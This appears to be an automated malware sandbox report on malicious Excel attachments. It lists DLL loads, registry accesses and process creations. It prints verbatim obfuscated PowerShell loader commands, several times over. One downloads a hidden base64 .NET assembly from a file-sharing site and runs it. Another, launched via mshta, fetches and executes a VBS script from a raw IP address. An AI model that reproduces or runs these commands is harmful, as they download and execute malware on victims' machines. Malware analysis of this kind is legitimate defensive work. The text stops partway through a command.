Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\vtjrhji	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\vtjrhji	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\vtjrhji	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\vtjrhji	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vtjrhji	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: credssp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	Initial sample: OLE zip file path = xl/calcChain.xml
Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr	Initial sample: OLE zip file path = docProps/thumbnail.wmf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

Static file information: File size 1181184 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.pdbhP source: powershell.exe, 00000013.00000002.494305051.00000000026DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.pdb source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_compiler.pdb source: vtjrhji, 00000024.00000000.566239808.0000000000F72000.00000020.00000001.01000000.0000000A.sdmp, vtjrhji.31.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.pdbhP source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.pdb source: powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp

Source: PORTS SITUATION BULK CARRIERS.xlsx.0.dr

Initial sample: OLE indicators vbamacros = False

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI